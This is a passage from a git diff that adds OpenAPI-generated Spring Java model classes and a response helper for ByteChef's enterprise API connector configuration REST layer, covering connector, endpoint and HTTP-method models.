\"name\", \"id\" : 5 } ], \"__version\" : 2, \"createdDate\" : \"2000-01-23T04:56:07.000+00:00\", \"createdBy\" : \"createdBy\", \"connectorVersion\" : \"connectorVersion\", \"name\" : \"name\", \"definition\" : \"definition\", \"id\" : 1 }";
+                    ApiUtil.setExampleResponse(request, "application/json", exampleString);
+                    break;
+                }
+            }
+        });
+        return new ResponseEntity<>(HttpStatus.NOT_IMPLEMENTED);
+
+    }
+
+}
diff --git a/server/ee/libs/platform/platform-api-connector/platform-api-connector-configuration/platform-api-connector-configuration-rest/generated/src/main/java/com/bytechef/ee/platform/apiconnector/configuration/web/rest/ApiUtil.java b/server/ee/libs/platform/platform-api-connector/platform-api-connector-configuration/platform-api-connector-configuration-rest/generated/src/main/java/com/bytechef/ee/platform/apiconnector/configuration/web/rest/ApiUtil.java
new file mode 100644
index 00000000000..60268828f7d
--- /dev/null
+++ b/server/ee/libs/platform/platform-api-connector/platform-api-connector-configuration/platform-api-connector-configuration-rest/generated/src/main/java/com/bytechef/ee/platform/apiconnector/configuration/web/rest/ApiUtil.java
@@ -0,0 +1,19 @@
+package com.bytechef.ee.platform.apiconnector.configuration.web.rest;
+
+import org.springframework.web.context.request.NativeWebRequest;
+
+import jakarta.servlet.http.HttpServletResponse;
+import java.io.IOException;
+
+public class ApiUtil {
+    public static void setExampleResponse(NativeWebRequest req, String contentType, String example) {
+        try {
+            HttpServletResponse res = req.getNativeResponse(HttpServletResponse.class);
+            res.setCharacterEncoding("UTF-8");
+            res.addHeader("Content-Type", contentType);
+            res.getWriter().print(example);
+        } catch (IOException e) {
+            throw new RuntimeException(e);
+        }
+    }
+}
diff --git a/server/ee/libs/platform/platform-api-connector/platform-api-connector-configuration/platform-api-connector-configuration-rest/generated/src/main/java/com/bytechef/ee/platform/apiconnector/configuration/web/rest/model/ApiConnectorEndpointModel.java b/server/ee/libs/platform/platform-api-connector/platform-api-connector-configuration/platform-api-connector-configuration-rest/generated/src/main/java/com/bytechef/ee/platform/apiconnector/configuration/web/rest/model/ApiConnectorEndpointModel.java
new file mode 100644
index 00000000000..5a680dcea21
--- /dev/null
+++ b/server/ee/libs/platform/platform-api-connector/platform-api-connector-configuration/platform-api-connector-configuration-rest/generated/src/main/java/com/bytechef/ee/platform/apiconnector/configuration/web/rest/model/ApiConnectorEndpointModel.java
@@ -0,0 +1,345 @@
+package com.bytechef.ee.platform.apiconnector.configuration.web.rest.model;
+
+import java.net.URI;
+import java.util.Objects;
+import com.bytechef.ee.platform.apiconnector.configuration.web.rest.model.HttpMethodModel;
+import com.fasterxml.jackson.annotation.JsonProperty;
+import com.fasterxml.jackson.annotation.JsonCreator;
+import com.fasterxml.jackson.annotation.JsonTypeName;
+import com.fasterxml.jackson.annotation.JsonValue;
+import java.time.OffsetDateTime;
+import org.springframework.format.annotation.DateTimeFormat;
+import org.springframework.lang.Nullable;
+import org.openapitools.jackson.nullable.JsonNullable;
+import java.time.OffsetDateTime;
+import jakarta.validation.Valid;
+import jakarta.validation.constraints.*;
+import io.swagger.v3.oas.annotations.media.Schema;
+
+
+import java.util.*;
+import jakarta.annotation.Generated;
+
+/**
+ * An API connector.
+ */
+
+@Schema(name = "ApiConnectorEndpoint", description = "An API connector.")
+@JsonTypeName("ApiConnectorEndpoint")
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-02T08:44:57.022251+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
+public class ApiConnectorEndpointModel {
+
+  private @Nullable String createdBy;
+
+  @DateTimeFormat(iso = DateTimeFormat.ISO.DATE_TIME)
+  private @Nullable OffsetDateTime createdDate;
+
+  private @Nullable String description;
+
+  private @Nullable HttpMethodModel httpMethod;
+
+  private @Nullable Long id;
+
+  @DateTimeFormat(iso = DateTimeFormat.ISO.DATE_TIME)
+  private @Nullable OffsetDateTime lastExecutionDate;
+
+  private @Nullable String lastModifiedBy;
+
+  @DateTimeFormat(iso = DateTimeFormat.ISO.DATE_TIME)
+  private @Nullable OffsetDateTime lastModifiedDate;
+
+  private String name;
+
+  private @Nullable String path;
+
+  private @Nullable Integer version;
+
+  public ApiConnectorEndpointModel() {
+    super();
+  }
+
+  /**
+   * Constructor with only required parameters
+   */
+  public ApiConnectorEndpointModel(String name) {
+    this.name = name;
+  }
+
+  public ApiConnectorEndpointModel createdBy(@Nullable String createdBy) {
+    this.createdBy = createdBy;
+    return this;
+  }
+
+  /**
+   * The created by.
+   * @return createdBy
+   */
+  
+  @Schema(name = "createdBy", accessMode = Schema.AccessMode.READ_ONLY, description = "The created by.", requiredMode = Schema.RequiredMode.NOT_REQUIRED)
+  @JsonProperty("createdBy")
+  public @Nullable String getCreatedBy() {
+    return createdBy;
+  }
+
+  public void setCreatedBy(@Nullable String createdBy) {
+    this.createdBy = createdBy;
+  }
+
+  public ApiConnectorEndpointModel createdDate(@Nullable OffsetDateTime createdDate) {
+    this.createdDate = createdDate;
+    return this;
+  }
+
+  /**
+   * The created date.
+   * @return createdDate
+   */
+  @Valid 
+  @Schema(name = "createdDate", accessMode = Schema.AccessMode.READ_ONLY, description = "The created date.", requiredMode = Schema.RequiredMode.NOT_REQUIRED)
+  @JsonProperty("createdDate")
+  public @Nullable OffsetDateTime getCreatedDate() {
+    return createdDate;
+  }
+
+  public void setCreatedDate(@Nullable OffsetDateTime createdDate) {
+    this.createdDate = createdDate;
+  }
+
+  public ApiConnectorEndpointModel description(@Nullable String description) {
+    this.description = description;
+    return this;
+  }
+
+  /**
+   * The description of an API connector's endpoint.
+   * @return description
+   */
+  
+  @Schema(name = "description", description = "The description of an API connector's endpoint.", requiredMode = Schema.RequiredMode.NOT_REQUIRED)
+  @JsonProperty("description")
+  public @Nullable String getDescription() {
+    return description;
+  }
+
+  public void setDescription(@Nullable String description) {
+    this.description = description;
+  }
+
+  public ApiConnectorEndpointModel httpMethod(@Nullable HttpMethodModel httpMethod) {
+    this.httpMethod = httpMethod;
+    return this;
+  }
+
+  /**
+   * Get httpMethod
+   * @return httpMethod
+   */
+  @Valid 
+  @Schema(name = "httpMethod", requiredMode = Schema.RequiredMode.NOT_REQUIRED)
+  @JsonProperty("httpMethod")
+  public @Nullable HttpMethodModel getHttpMethod() {
+    return httpMethod;
+  }
+
+  public void setHttpMethod(@Nullable HttpMethodModel httpMethod) {
+    this.httpMethod = httpMethod;
+  }
+
+  public ApiConnectorEndpointModel id(@Nullable Long id) {
+    this.id = id;
+    return this;
+  }
+
+  /**
+   * The id of the API connector's endpoint.
+   * @return id
+   */
+  
+  @Schema(name = "id", description = "The id of the API connector's endpoint.", requiredMode = Schema.RequiredMode.NOT_REQUIRED)
+  @JsonProperty("id")
+  public @Nullable Long getId() {
+    return id;
+  }
+
+  public void setId(@Nullable Long id) {
+    this.id = id;
+  }
+
+  public ApiConnectorEndpointModel lastExecutionDate(@Nullable OffsetDateTime lastExecutionDate) {
+    this.lastExecutionDate = lastExecutionDate;
+    return this;
+  }
+
+  /**
+   * The last execution date.
+   * @return lastExecutionDate
+   */
+  @Valid 
+  @Schema(name = "lastExecutionDate", accessMode = Schema.AccessMode.READ_ONLY, description = "The last execution date.", requiredMode = Schema.RequiredMode.NOT_REQUIRED)
+  @JsonProperty("lastExecutionDate")
+  public @Nullable OffsetDateTime getLastExecutionDate() {
+    return lastExecutionDate;
+  }
+
+  public void setLastExecutionDate(@Nullable OffsetDateTime lastExecutionDate) {
+    this.lastExecutionDate = lastExecutionDate;
+  }
+
+  public ApiConnectorEndpointModel lastModifiedBy(@Nullable String lastModifiedBy) {
+    this.lastModifiedBy = lastModifiedBy;
+    return this;
+  }
+
+  /**
+   * The last modified by.
+   * @return lastModifiedBy
+   */
+  
+  @Schema(name = "lastModifiedBy", accessMode = Schema.AccessMode.READ_ONLY, description = "The last modified by.", requiredMode = Schema.RequiredMode.NOT_REQUIRED)
+  @JsonProperty("lastModifiedBy")
+  public @Nullable String getLastModifiedBy() {
+    return lastModifiedBy;
+  }
+
+  public void setLastModifiedBy(@Nullable String lastModifiedBy) {
+    this.lastModifiedBy = lastModifiedBy;
+  }
+
+  public ApiConnectorEndpointModel lastModifiedDate(@Nullable OffsetDateTime lastModifiedDate) {
+    this.lastModifiedDate = lastModifiedDate;
+    return this;
+  }
+
+  /**
+   * The last modified date.
+   * @return lastModifiedDate
+   */
+  @Valid 
+  @Schema(name = "lastModifiedDate", accessMode = Schema.AccessMode.READ_ONLY, description = "The last modified date.", requiredMode = Schema.RequiredMode.NOT_REQUIRED)
+  @JsonProperty("lastModifiedDate")
+  public @Nullable OffsetDateTime getLastModifiedDate() {
+    return lastModifiedDate;
+  }
+
+  public void setLastModifiedDate(@Nullable OffsetDateTime lastModifiedDate) {
+    this.lastModifiedDate = lastModifiedDate;
+  }
+
+  public ApiConnectorEndpointModel name(String name) {
+    this.name = name;
+    return this;
+  }
+
+  /**
+   * The name of an API connector's endpoint.
+   * @return name
+   */
+  @NotNull 
+  @Schema(name = "name", description = "The name of an API connector's endpoint.", requiredMode = Schema.RequiredMode.REQUIRED)
+  @JsonProperty("name")
+  public String getName() {
+    return name;
+  }
+
+  public void setName(String name) {
+    this.name = name;
+  }
+
+  public ApiConnectorEndpointModel path(@Nullable String path) {
+    this.path = path;
+    return this;
+  }
+
+  /**
+   * The path of an API connector's endpoint.
+   * @return path
+   */
+  
+  @Schema(name = "path", description = "The path of an API connector's endpoint.", requiredMode = Schema.RequiredMode.NOT_REQUIRED)
+  @JsonProperty("path")
+  public @Nullable String getPath() {
+    return path;
+  }
+
+  public void setPath(@Nullable String path) {
+    this.path = path;
+  }
+
+  public ApiConnectorEndpointModel version(@Nullable Integer version) {
+    this.version = version;
+    return this;
+  }
+
+  /**
+   * Get version
+   * @return version
+   */
+  
+  @Schema(name = "__version", requiredMode = Schema.RequiredMode.NOT_REQUIRED)
+  @JsonProperty("__version")
+  public @Nullable Integer getVersion() {
+    return version;
+  }
+
+  public void setVersion(@Nullable Integer version) {
+    this.version = version;
+  }
+
+  @Override
+  public boolean equals(Object o) {
+    if (this == o) {
+      return true;
+    }
+    if (o == null || getClass() != o.getClass()) {
+      return false;
+    }
+    ApiConnectorEndpointModel apiConnectorEndpoint = (ApiConnectorEndpointModel) o;
+    return Objects.equals(this.createdBy, apiConnectorEndpoint.createdBy) &&
+        Objects.equals(this.createdDate, apiConnectorEndpoint.createdDate) &&
+        Objects.equals(this.description, apiConnectorEndpoint.description) &&
+        Objects.equals(this.httpMethod, apiConnectorEndpoint.httpMethod) &&
+        Objects.equals(this.id, apiConnectorEndpoint.id) &&
+        Objects.equals(this.lastExecutionDate, apiConnectorEndpoint.lastExecutionDate) &&
+        Objects.equals(this.lastModifiedBy, apiConnectorEndpoint.lastModifiedBy) &&
+        Objects.equals(this.lastModifiedDate, apiConnectorEndpoint.lastModifiedDate) &&
+        Objects.equals(this.name, apiConnectorEndpoint.name) &&
+        Objects.equals(this.path, apiConnectorEndpoint.path) &&
+        Objects.equals(this.version, apiConnectorEndpoint.version);
+  }
+
+  @Override
+  public int hashCode() {
+    return Objects.hash(createdBy, createdDate, description, httpMethod, id, lastExecutionDate, lastModifiedBy, lastModifiedDate, name, path, version);
+  }
+
+  @Override
+  public String toString() {
+    StringBuilder sb = new StringBuilder();
+    sb.append("class ApiConnectorEndpointModel {\n");
+    sb.append("    createdBy: ").append(toIndentedString(createdBy)).append("\n");
+    sb.append("    createdDate: ").append(toIndentedString(createdDate)).append("\n");
+    sb.append("    description: ").append(toIndentedString(description)).append("\n");
+    sb.append("    httpMethod: ").append(toIndentedString(httpMethod)).append("\n");
+    sb.append("    id: ").append(toIndentedString(id)).append("\n");
+    sb.append("    lastExecutionDate: ").append(toIndentedString(lastExecutionDate)).append("\n");
+    sb.append("    lastModifiedBy: ").append(toIndentedString(lastModifiedBy)).append("\n");
+    sb.append("    lastModifiedDate: ").append(toIndentedString(lastModifiedDate)).append("\n");
+    sb.append("    name: ").append(toIndentedString(name)).append("\n");
+    sb.append("    path: ").append(toIndentedString(path)).append("\n");
+    sb.append("    version: ").append(toIndentedString(version)).append("\n");
+    sb.append("}");
+    return sb.toString();
+  }
+
+  /**
+   * Convert the given object to string with each line indented by 4 spaces
+   * (except the first line).
+   */
+  private String toIndentedString(Object o) {
+    if (o == null) {
+      return "null";
+    }
+    return o.toString().replace("\n", "\n    ");
+  }
+}
+
diff --git a/server/ee/libs/platform/platform-api-connector/platform-api-connector-configuration/platform-api-connector-configuration-rest/generated/src/main/java/com/bytechef/ee/platform/apiconnector/configuration/web/rest/model/ApiConnectorModel.java b/server/ee/libs/platform/platform-api-connector/platform-api-connector-configuration/platform-api-connector-configuration-rest/generated/src/main/java/com/bytechef/ee/platform/apiconnector/configuration/web/rest/model/ApiConnectorModel.java
new file mode 100644
index 00000000000..f3afba9c5b9
--- /dev/null
+++ b/server/ee/libs/platform/platform-api-connector/platform-api-connector-configuration/platform-api-connector-configuration-rest/generated/src/main/java/com/bytechef/ee/platform/apiconnector/configuration/web/rest/model/ApiConnectorModel.java
@@ -0,0 +1,486 @@
+package com.bytechef.ee.platform.apiconnector.configuration.web.rest.model;
+
+import java.net.URI;
+import java.util.Objects;
+import com.bytechef.ee.platform.apiconnector.configuration.web.rest.model.ApiConnectorEndpointModel;
+import com.bytechef.ee.platform.apiconnector.configuration.web.rest.model.TagModel;
+import com.fasterxml.jackson.annotation.JsonProperty;
+import com.fasterxml.jackson.annotation.JsonCreator;
+import com.fasterxml.jackson.annotation.JsonTypeName;
+import java.time.OffsetDateTime;
+import java.util.ArrayList;
+import java.util.Arrays;
+import java.util.List;
+import org.springframework.format.annotation.DateTimeFormat;
+import org.springframework.lang.Nullable;
+import org.openapitools.jackson.nullable.JsonNullable;
+import java.time.OffsetDateTime;
+import jakarta.validation.Valid;
+import jakarta.validation.constraints.*;
+import io.swagger.v3.oas.annotations.media.Schema;
+
+
+import java.util.*;
+import jakarta.annotation.Generated;
+
+/**
+ * An API connector.
+ */
+
+@Schema(name = "ApiConnector", description = "An API connector.")
+@JsonTypeName("ApiConnector")
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-02T08:44:57.022251+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
+public class ApiConnectorModel {
+
+  private String connectorVersion;
+
+  private @Nullable String createdBy;
+
+  @DateTimeFormat(iso = DateTimeFormat.ISO.DATE_TIME)
+  private @Nullable OffsetDateTime createdDate;
+
+  private @Nullable String description;
+
+  private @Nullable String definition;
+
+  private @Nullable Boolean enabled;
+
+  @Valid
+  private List<@Valid ApiConnectorEndpointModel> endpoints = new ArrayList<>();
+
+  private @Nullable String icon;
+
+  private @Nullable Long id;
+
+  private @Nullable String lastModifiedBy;
+
+  @DateTimeFormat(iso = DateTimeFormat.ISO.DATE_TIME)
+  private @Nullable OffsetDateTime lastModifiedDate;
+
+  private String name;
+
+  private @Nullable String specification;
+
+  @Valid
+  private List<@Valid TagModel> tags = new ArrayList<>();
+
+  private @Nullable String title;
+
+  private @Nullable Integer version;
+
+  public ApiConnectorModel() {
+    super();
+  }
+
+  /**
+   * Constructor with only required parameters
+   */
+  public ApiConnectorModel(String connectorVersion, String name) {
+    this.connectorVersion = connectorVersion;
+    this.name = name;
+  }
+
+  public ApiConnectorModel connectorVersion(String connectorVersion) {
+    this.connectorVersion = connectorVersion;
+    return this;
+  }
+
+  /**
+   * The version of an API connector.
+   * @return connectorVersion
+   */
+  @NotNull 
+  @Schema(name = "connectorVersion", description = "The version of an API connector.", requiredMode = Schema.RequiredMode.REQUIRED)
+  @JsonProperty("connectorVersion")
+  public String getConnectorVersion() {
+    return connectorVersion;
+  }
+
+  public void setConnectorVersion(String connectorVersion) {
+    this.connectorVersion = connectorVersion;
+  }
+
+  public ApiConnectorModel createdBy(@Nullable String createdBy) {
+    this.createdBy = createdBy;
+    return this;
+  }
+
+  /**
+   * The created by.
+   * @return createdBy
+   */
+  
+  @Schema(name = "createdBy", accessMode = Schema.AccessMode.READ_ONLY, description = "The created by.", requiredMode = Schema.RequiredMode.NOT_REQUIRED)
+  @JsonProperty("createdBy")
+  public @Nullable String getCreatedBy() {
+    return createdBy;
+  }
+
+  public void setCreatedBy(@Nullable String createdBy) {
+    this.createdBy = createdBy;
+  }
+
+  public ApiConnectorModel createdDate(@Nullable OffsetDateTime createdDate) {
+    this.createdDate = createdDate;
+    return this;
+  }
+
+  /**
+   * The created date.
+   * @return createdDate
+   */
+  @Valid 
+  @Schema(name = "createdDate", accessMode = Schema.AccessMode.READ_ONLY, description = "The created date.", requiredMode = Schema.RequiredMode.NOT_REQUIRED)
+  @JsonProperty("createdDate")
+  public @Nullable OffsetDateTime getCreatedDate() {
+    return createdDate;
+  }
+
+  public void setCreatedDate(@Nullable OffsetDateTime createdDate) {
+    this.createdDate = createdDate;
+  }
+
+  public ApiConnectorModel description(@Nullable String description) {
+    this.description = description;
+    return this;
+  }
+
+  /**
+   * The description of an API connector.
+   * @return description
+   */
+  
+  @Schema(name = "description", description = "The description of an API connector.", requiredMode = Schema.RequiredMode.NOT_REQUIRED)
+  @JsonProperty("description")
+  public @Nullable String getDescription() {
+    return description;
+  }
+
+  public void setDescription(@Nullable String description) {
+    this.description = description;
+  }
+
+  public ApiConnectorModel definition(@Nullable String definition) {
+    this.definition = definition;
+    return this;
+  }
+
+  /**
+   * The definition of an API connector.
+   * @return definition
+   */
+  
+  @Schema(name = "definition", accessMode = Schema.AccessMode.READ_ONLY, description = "The definition of an API connector.", requiredMode = Schema.RequiredMode.NOT_REQUIRED)
+  @JsonProperty("definition")
+  public @Nullable String getDefinition() {
+    return definition;
+  }
+
+  public void setDefinition(@Nullable String definition) {
+    this.definition = definition;
+  }
+
+  public ApiConnectorModel enabled(@Nullable Boolean enabled) {
+    this.enabled = enabled;
+    return this;
+  }
+
+  /**
+   * If an API connector is enabled or not.
+   * @return enabled
+   */
+  
+  @Schema(name = "enabled", description = "If an API connector is enabled or not.", requiredMode = Schema.RequiredMode.NOT_REQUIRED)
+  @JsonProperty("enabled")
+  public @Nullable Boolean getEnabled() {
+    return enabled;
+  }
+
+  public void setEnabled(@Nullable Boolean enabled) {
+    this.enabled = enabled;
+  }
+
+  public ApiConnectorModel endpoints(List<@Valid ApiConnectorEndpointModel> endpoints) {
+    this.endpoints = endpoints;
+    return this;
+  }
+
+  public ApiConnectorModel addEndpointsItem(ApiConnectorEndpointModel endpointsItem) {
+    if (this.endpoints == null) {
+      this.endpoints = new ArrayList<>();
+    }
+    this.endpoints.add(endpointsItem);
+    return this;
+  }
+
+  /**
+   * Get endpoints
+   * @return endpoints
+   */
+  @Valid 
+  @Schema(name = "endpoints", requiredMode = Schema.RequiredMode.NOT_REQUIRED)
+  @JsonProperty("endpoints")
+  public List<@Valid ApiConnectorEndpointModel> getEndpoints() {
+    return endpoints;
+  }
+
+  public void setEndpoints(List<@Valid ApiConnectorEndpointModel> endpoints) {
+    this.endpoints = endpoints;
+  }
+
+  public ApiConnectorModel icon(@Nullable String icon) {
+    this.icon = icon;
+    return this;
+  }
+
+  /**
+   * The icon of an API connector.
+   * @return icon
+   */
+  
+  @Schema(name = "icon", description = "The icon of an API connector.", requiredMode = Schema.RequiredMode.NOT_REQUIRED)
+  @JsonProperty("icon")
+  public @Nullable String getIcon() {
+    return icon;
+  }
+
+  public void setIcon(@Nullable String icon) {
+    this.icon = icon;
+  }
+
+  public ApiConnectorModel id(@Nullable Long id) {
+    this.id = id;
+    return this;
+  }
+
+  /**
+   * The id of the API connector.
+   * @return id
+   */
+  
+  @Schema(name = "id", description = "The id of the API connector.", requiredMode = Schema.RequiredMode.NOT_REQUIRED)
+  @JsonProperty("id")
+  public @Nullable Long getId() {
+    return id;
+  }
+
+  public void setId(@Nullable Long id) {
+    this.id = id;
+  }
+
+  public ApiConnectorModel lastModifiedBy(@Nullable String lastModifiedBy) {
+    this.lastModifiedBy = lastModifiedBy;
+    return this;
+  }
+
+  /**
+   * The last modified by.
+   * @return lastModifiedBy
+   */
+  
+  @Schema(name = "lastModifiedBy", accessMode = Schema.AccessMode.READ_ONLY, description = "The last modified by.", requiredMode = Schema.RequiredMode.NOT_REQUIRED)
+  @JsonProperty("lastModifiedBy")
+  public @Nullable String getLastModifiedBy() {
+    return lastModifiedBy;
+  }
+
+  public void setLastModifiedBy(@Nullable String lastModifiedBy) {
+    this.lastModifiedBy = lastModifiedBy;
+  }
+
+  public ApiConnectorModel lastModifiedDate(@Nullable OffsetDateTime lastModifiedDate) {
+    this.lastModifiedDate = lastModifiedDate;
+    return this;
+  }
+
+  /**
+   * The last modified date.
+   * @return lastModifiedDate
+   */
+  @Valid 
+  @Schema(name = "lastModifiedDate", accessMode = Schema.AccessMode.READ_ONLY, description = "The last modified date.", requiredMode = Schema.RequiredMode.NOT_REQUIRED)
+  @JsonProperty("lastModifiedDate")
+  public @Nullable OffsetDateTime getLastModifiedDate() {
+    return lastModifiedDate;
+  }
+
+  public void setLastModifiedDate(@Nullable OffsetDateTime lastModifiedDate) {
+    this.lastModifiedDate = lastModifiedDate;
+  }
+
+  public ApiConnectorModel name(String name) {
+    this.name = name;
+    return this;
+  }
+
+  /**
+   * The name of an API connector.
+   * @return name
+   */
+  @NotNull 
+  @Schema(name = "name", description = "The name of an API connector.", requiredMode = Schema.RequiredMode.REQUIRED)
+  @JsonProperty("name")
+  public String getName() {
+    return name;
+  }
+
+  public void setName(String name) {
+    this.name = name;
+  }
+
+  public ApiConnectorModel specification(@Nullable String specification) {
+    this.specification = specification;
+    return this;
+  }
+
+  /**
+   * The specification of an API connector.
+   * @return specification
+   */
+  
+  @Schema(name = "specification", accessMode = Schema.AccessMode.READ_ONLY, description = "The specification of an API connector.", requiredMode = Schema.RequiredMode.NOT_REQUIRED)
+  @JsonProperty("specification")
+  public @Nullable String getSpecification() {
+    return specification;
+  }
+
+  public void setSpecification(@Nullable String specification) {
+    this.specification = specification;
+  }
+
+  public ApiConnectorModel tags(List<@Valid TagModel> tags) {
+    this.tags = tags;
+    return this;
+  }
+
+  public ApiConnectorModel addTagsItem(TagModel tagsItem) {
+    if (this.tags == null) {
+      this.tags = new ArrayList<>();
+    }
+    this.tags.add(tagsItem);
+    return this;
+  }
+
+  /**
+   * Get tags
+   * @return tags
+   */
+  @Valid 
+  @Schema(name = "tags", requiredMode = Schema.RequiredMode.NOT_REQUIRED)
+  @JsonProperty("tags")
+  public List<@Valid TagModel> getTags() {
+    return tags;
+  }
+
+  public void setTags(List<@Valid TagModel> tags) {
+    this.tags = tags;
+  }
+
+  public ApiConnectorModel title(@Nullable String title) {
+    this.title = title;
+    return this;
+  }
+
+  /**
+   * The title of an API connector.
+   * @return title
+   */
+  
+  @Schema(name = "title", description = "The title of an API connector.", requiredMode = Schema.RequiredMode.NOT_REQUIRED)
+  @JsonProperty("title")
+  public @Nullable String getTitle() {
+    return title;
+  }
+
+  public void setTitle(@Nullable String title) {
+    this.title = title;
+  }
+
+  public ApiConnectorModel version(@Nullable Integer version) {
+    this.version = version;
+    return this;
+  }
+
+  /**
+   * Get version
+   * @return version
+   */
+  
+  @Schema(name = "__version", requiredMode = Schema.RequiredMode.NOT_REQUIRED)
+  @JsonProperty("__version")
+  public @Nullable Integer getVersion() {
+    return version;
+  }
+
+  public void setVersion(@Nullable Integer version) {
+    this.version = version;
+  }
+
+  @Override
+  public boolean equals(Object o) {
+    if (this == o) {
+      return true;
+    }
+    if (o == null || getClass() != o.getClass()) {
+      return false;
+    }
+    ApiConnectorModel apiConnector = (ApiConnectorModel) o;
+    return Objects.equals(this.connectorVersion, apiConnector.connectorVersion) &&
+        Objects.equals(this.createdBy, apiConnector.createdBy) &&
+        Objects.equals(this.createdDate, apiConnector.createdDate) &&
+        Objects.equals(this.description, apiConnector.description) &&
+        Objects.equals(this.definition, apiConnector.definition) &&
+        Objects.equals(this.enabled, apiConnector.enabled) &&
+        Objects.equals(this.endpoints, apiConnector.endpoints) &&
+        Objects.equals(this.icon, apiConnector.icon) &&
+        Objects.equals(this.id, apiConnector.id) &&
+        Objects.equals(this.lastModifiedBy, apiConnector.lastModifiedBy) &&
+        Objects.equals(this.lastModifiedDate, apiConnector.lastModifiedDate) &&
+        Objects.equals(this.name, apiConnector.name) &&
+        Objects.equals(this.specification, apiConnector.specification) &&
+        Objects.equals(this.tags, apiConnector.tags) &&
+        Objects.equals(this.title, apiConnector.title) &&
+        Objects.equals(this.version, apiConnector.version);
+  }
+
+  @Override
+  public int hashCode() {
+    return Objects.hash(connectorVersion, createdBy, createdDate, description, definition, enabled, endpoints, icon, id, lastModifiedBy, lastModifiedDate, name, specification, tags, title, version);
+  }
+
+  @Override
+  public String toString() {
+    StringBuilder sb = new StringBuilder();
+    sb.append("class ApiConnectorModel {\n");
+    sb.append("    connectorVersion: ").append(toIndentedString(connectorVersion)).append("\n");
+    sb.append("    createdBy: ").append(toIndentedString(createdBy)).append("\n");
+    sb.append("    createdDate: ").append(toIndentedString(createdDate)).append("\n");
+    sb.append("    description: ").append(toIndentedString(description)).append("\n");
+    sb.append("    definition: ").append(toIndentedString(definition)).append("\n");
+    sb.append("    enabled: ").append(toIndentedString(enabled)).append("\n");
+    sb.append("    endpoints: ").append(toIndentedString(endpoints)).append("\n");
+    sb.append("    icon: ").append(toIndentedString(icon)).append("\n");
+    sb.append("    id: ").append(toIndentedString(id)).append("\n");
+    sb.append("    lastModifiedBy: ").append(toIndentedString(lastModifiedBy)).append("\n");
+    sb.append("    lastModifiedDate: ").append(toIndentedString(lastModifiedDate)).append("\n");
+    sb.append("    name: ").append(toIndentedString(name)).append("\n");
+    sb.append("    specification: ").append(toIndentedString(specification)).append("\n");
+    sb.append("    tags: ").append(toIndentedString(tags)).append("\n");
+    sb.append("    title: ").append(toIndentedString(title)).append("\n");
+    sb.append("    version: ").append(toIndentedString(version)).append("\n");
+    sb.append("}");
+    return sb.toString();
+  }
+
+  /**
+   * Convert the given object to string with each line indented by 4 spaces
+   * (except the first line).
+   */
+  private String toIndentedString(Object o) {
+    if (o == null) {
+      return "null";
+    }
+    return o.toString().replace("\n", "\n    ");
+  }
+}
+
diff --git a/server/ee/libs/platform/platform-api-connector/platform-api-connector-configuration/platform-api-connector-configuration-rest/generated/src/main/java/com/bytechef/ee/platform/apiconnector/configuration/web/rest/model/HttpMethodModel.java b/server/ee/libs/platform/platform-api-connector/platform-api-connector-configuration/platform-api-connector-configuration-rest/generated/src/main/java/com/bytechef/ee/platform/apiconnector/configuration/web/rest/model/HttpMethodModel.java
new file mode 100644
index 00000000000..701cf9dc84b
--- /dev/null
+++ b/server/ee/libs/platform/platform-api-connector/platform-api-connector-configuration/platform-api-connector-configuration-rest/generated/src/main/java/com/bytechef/ee/platform/apiconnector/configuration/web/rest/model/HttpMethodModel.java
@@ -0,0 +1,62 @@
+package com.bytechef.ee.platform.apiconnector.configuration.web.rest.model;
+
+import java.net.URI;
+import java.util.Objects;
+import com.fasterxml.jackson.annotation.JsonValue;
+import org.openapitools.jackson.nullable.JsonNullable;
+import java.time.OffsetDateTime;
+import jakarta.validation.Valid;
+import jakarta.validation.constraints.*;
+import io.swagger.v3.oas.annotations.media.Schema;
+
+
+import java.util.*;
+import jakarta.annotation.Generated;
+
+import com.fasterxml.jackson.annotation.JsonCreator;
+import com.fasterxml.jackson.annotation.JsonValue;
+
+/**
+ * The HTTP method.
+ */
+
+@Generated(value = "org.openapitools.codegen.languages.SpringCodegen", date = "2026-01-02T08:44:57.022251+01:00[Europe/Zagreb]", comments = "Generator version: 7.18.0")
+public enum HttpMethodModel {
+  
+  DELETE("DELETE"),
+  
+  GET("GET"),
+  
+  POST("POST"),
+  
+  PUT("PUT"),
+  
+  PATCH("PATCH");
+
+  private final String value;
+
+  HttpMethodModel(String value) {
+    this.value = value;
+  }
+
+  @JsonValue
+  public String getValue() {
+    return value;
+  }
+
+  @Override
+  public String toString() {
+    return String.valueOf(value);
+  }
+
+  @JsonCreator
+  public static HttpMethodModel fromValue(String value) {
+    for (HttpMethodModel b : HttpMethodModel.values()) {
+      if (b.value.equals(value)) {
+        return b;
+      }
+    }
+    throw new IllegalArgumentException("Unexpected value '" + value + "'");
+  }
+}
+
diff --git a/server/ee/libs/platform/platform-api-connector/platform-api-connector-configuration/platform-api-connector-configuration-rest/generated/src/main/java/com/bytechef/ee/platform/apiconnector/configuration/web/rest/model/ImportOpenApiSpecificationRequestModel.java b/server/ee/libs/platform/platform-api-connector/platform-api-connector-configuration/platform-api-connector-configuration-rest/generated/src/main/java/com/bytechef/ee/platform/apiconnector/configuration/web/rest/model/ImportOpenApiSpecificationRequestModel.java
new file mode 100644
index 00000000000..ce036ba3c3b
--- /dev/null
+++ b/server/ee/libs/platform/platform-api-connector/platform-api-connector-configuration/platform-api-connector-configuration-rest/generated/src/main/java/com/bytechef/ee/platform/apiconnector/configuration/web/rest/model/ImportOpenApiSpecificationRequestModel.java
@@ -0,0 +1,146 @@
+package com.bytechef.ee.platform.apiconnector.configuration.web.rest.model;
+
+import java.net.URI;
+import java.util.Objects;
+import com.fasterxml.jackson.annotation.JsonProperty;
+import com.fasterxml.jackson.annotation.JsonCreator;
+import com.fasterxml.jackson.annotation.JsonTypeName;
+import org.springframework.lang.Nullable;
+import org.openapitools.jackson.nullable.JsonNullable;
+import java.time.OffsetDateTime;
+import jakarta.validation.Valid;
+import jakarta.validation.constraints.*;
+import io.swagger.v3.oas.annotations.media.Schema;
+
+
+import java.util.*;
+import jakarta.annotation.Generated;
+
+/**
+ * ImportOpenApiSpecificationRequestModel
+ */
+
+@JsonTypeName("importOpenApiSpecification_request")
